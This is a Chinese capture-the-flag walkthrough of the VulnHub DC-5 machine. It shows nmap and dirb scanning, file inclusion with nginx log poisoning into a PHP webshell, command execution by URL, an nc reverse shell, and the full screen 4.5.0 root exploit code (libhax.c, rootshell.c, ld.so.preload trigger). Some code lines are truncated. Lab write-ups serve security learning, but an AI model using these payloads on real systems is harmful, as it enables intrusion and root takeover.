靶场练习第十三天~vulnhub靶场之dc-5

一、准备工作

1.靶机环境搭建

下载链接: https://pan.baidu.com/s/1csvuJ_NVCBvVr75KhxyM3Q?pwd=xie7 提取码: xie7

2.kali的ip

命令:ifconfig

靶场练习第十三天~vulnhub靶场之dc-5_第1张图片

3.kali和靶机的都设置为NAT模式

二、信息收集

1.nmap的信息收集

(1)寻找靶机的ip

命令: nmap 192.168.101.0/24

靶场练习第十三天~vulnhub靶场之dc-5_第2张图片

(2)查看靶机的端口及其协议

命令:nmap -A 192.168.101.118

靶场练习第十三天~vulnhub靶场之dc-5_第3张图片

命令2:nmap -sV -p- 192.168.101.118 (-sV是用来扫描目标主机和端口上运行的软件的版本 )

靶场练习第十三天~vulnhub靶场之dc-5_第4张图片

2.网页的信息收集

(3)访问192.168.101.118

因为靶机开放了80端口,访问一下网站

靶场练习第十三天~vulnhub靶场之dc-5_第5张图片

翻一下网站的页面功能后,点击打开contact页面的提交留言后,出现改变

靶场练习第十三天~vulnhub靶场之dc-5_第6张图片

改变前:

靶场练习第十三天~vulnhub靶场之dc-5_第7张图片

改变后: contact页面的年份信息会随着刷新页面而变化

访问http://192.168.101.118/footer.php

靶场练习第十三天~vulnhub靶场之dc-5_第8张图片

用dirb扫描一下网站

命令 :dirb http://192.168.101.118 -X .php .html .txt

靶场练习第十三天~vulnhub靶场之dc-5_第9张图片

发现成功文件包含

靶场练习第十三天~vulnhub靶场之dc-5_第10张图片

因为靶机服务扫描时发现靶机网站使用的是nginx服务器,我们知道nginx服务器的默认配置文件是/etc/nginx/nginx.conf,所以将nginx的配置文件包含过来查看日志路径,发现了nginx的日志路径

靶场练习第十三天~vulnhub靶场之dc-5_第11张图片

查看日志文件 /var/log/nginx/access.log通过bp抓包写入一句话木马

一句话木马语句:

靶场练习第十三天~vulnhub靶场之dc-5_第12张图片

通过日志文件log查看是否写入成功;

日志路径为:/var/log/nginx/access.log,是系统默认路径

靶场练习第十三天~vulnhub靶场之dc-5_第13张图片

通过firefox浏览器打开(URL:http://192.168.85.144/thankyou.php?file=/var/log/nginx/access.log),发现一句话木马已经写入成功。 通过BurpSuite抓包,并写入PHP的执行系统命令

语句:

靶场练习第十三天~vulnhub靶场之dc-5_第14张图片

进行测试,看是否外部命令是否能够正常执行的;
命令:http://192.168101.118/thankyou.php?file=/var/log/nginx/access.log&hh=cat%20/etc/passwd

发现已经执行命令靶场练习第十三天~vulnhub靶场之dc-5_第15张图片

 

(4)通过nc命令直接进行shell反弹

1.在网页url添加命令:hh= nc 192.168.101.10 4444 -c /bin/bash

靶场练习第十三天~vulnhub靶场之dc-5_第16张图片

2.kali开启添加,命令: nc -lvvp 4444

靶场练习第十三天~vulnhub靶场之dc-5_第17张图片

(5)优化命令执行终端

执行下面命令进入python交互式(注意要下载python环境才能运行):

python -c ‘import pty;pty.spawn(“/bin/bash”)’

靶场练习第十三天~vulnhub靶场之dc-5_第18张图片

三、渗透

1.查看具有特殊权限的二进制文件

查找一下可以用root权限运行的命令;
命令: find / -perm -u=s -type f 2>/dev/null

靶场练习第十三天~vulnhub靶场之dc-5_第19张图片

由上图可知发现了一个screen特殊文件

2.searchsploit命令对screen-4.5.0漏洞进行搜索

kali终端使用命令:searchsploit screen-4.5.0

靶场练习第十三天~vulnhub靶场之dc-5_第20张图片

3.将该41154.sh文件拷贝到/root目录下

靶场练习第十三天~vulnhub靶场之dc-5_第21张图片

4. 漏洞脚本文件的利用

靶场练习第十三天~vulnhub靶场之dc-5_第22张图片

将41154.sh中上面一部分c语言代码另存为libhax.c 编译libhax.c文件
命令:gcc -fPIC -shared -ldl -o libhax.so libhax.c

#include

#include

#include

__attribute__ ((__constructor__))

void dropshell(void){

chown("/tmp/rootshell", 0, 0);

chmod("/tmp/rootshell", 04755);

unlink("/etc/ld.so.preload");

printf("[+] done!\n");

}

靶场练习第十三天~vulnhub靶场之dc-5_第23张图片

将41154.sh中下面一部分c语言代码另存为rootshell.c 编译rootshell.c文件

命令: sudo vim rootshell.c、cat rootshell.c、gcc -o rootshell rootshell.c

#include

int main(void){

setuid(0);

setgid(0);

seteuid(0);

setegid(0);

execvp("/bin/sh", NULL, NULL);

}

靶场练习第十三天~vulnhub靶场之dc-5_第24张图片

将41154.sh中剩下部分代码另存为dc5.sh脚本文件
并在保存dc5.sh文件输入 :set ff=unix ,否则在执行脚本文件时后出错

#!/bin/bash

# screenroot.sh

# setuid screen v4.5.0 local root exploit

# abuses ld.so.preload overwriting to get root.

# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html

# HACK THE PLANET

# ~ infodox (25/1/2017)

echo "~ gnu/screenroot ~"

echo "[+] First, we create our shell and library..."

cat << EOF > /tmp/libhax.c

#include

EOF

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

rm -f /tmp/libhax.c

cat << EOF > /tmp/rootshell.c

EOF

gcc -o /tmp/rootshell /tmp/rootshell.c

rm -f /tmp/rootshell.c

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

靶场练习第十三天~vulnhub靶场之dc-5_第25张图片

5.再次使用nc命令将文件上传到靶机

进入到kali的tmp,分别输入

nc 192.168.101.10 4444 >libhax.so

nc 192.168.101.10 4444 >rootshell

nc 192.168.101.10 4444 >dc5.sh

反向连接靶机的那一端,分别输入

nc -lvvp 4444 < libhax.so

nc -lvvp 4444 < rootshell

nc -lvvp 4444

靶机和kali都要进入到tmp目录下面,注意kali与靶机输入时要一一对应

靶场练习第十三天~vulnhub靶场之dc-5_第26张图片

靶场练习第十三天~vulnhub靶场之dc-5_第27张图片

四、提权

1.输入如下命令进行提权

cd /etc

umask 000

screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

screnn -ls

/tmp/rootshell

靶场练习第十三天~vulnhub靶场之dc-5_第28张图片

2.拿下flag

cd /root

cat thisistheflag.txt

靶场练习第十三天~vulnhub靶场之dc-5_第29张图片

你可能感兴趣的:(#,靶机练习,安全,linux,nginx)